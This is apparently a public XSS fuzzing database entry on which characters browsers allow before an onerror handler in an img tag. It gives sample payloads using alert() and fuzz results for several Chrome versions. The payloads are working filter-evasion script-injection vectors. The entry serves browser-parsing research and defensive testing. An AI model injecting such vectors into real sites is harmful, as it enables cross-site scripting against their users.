Characters allowed before onerror events
This XSS vector shows what characters can be used before the onerror event.
Created by: hackvertor
Created on: Saturday, March 30, 2024 at 9:40:05 PM
Updated on: Monday, May 26, 2025 at 6:26:23 AM
Category: HTML Parsing
Vector visibility: Public
Vector type: XSS
Vector charset: UTF-8
Template used:
<img src $[chr]onerror=log($[i])>Detecting browser...
Sample payloads
<img src 0x09onerror=alert(9)><img src
onerror=alert(10)><img src 0x0Conerror=alert(12)><img src 0x0Donerror=alert(13)><img src onerror=alert(32)><img src /onerror=alert(47)>Fuzz results
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated
Sat Jan 31 2026
Found 6 results
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Chrome 143.0.0.0 desktop macOS 10.15.7older version
Updated
Sat Jan 31 2026
Found 6 results
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Chrome 123.0.0.0 Unknown Unknownolder version
Updated
Sat Mar 30 2024
Found 6 results
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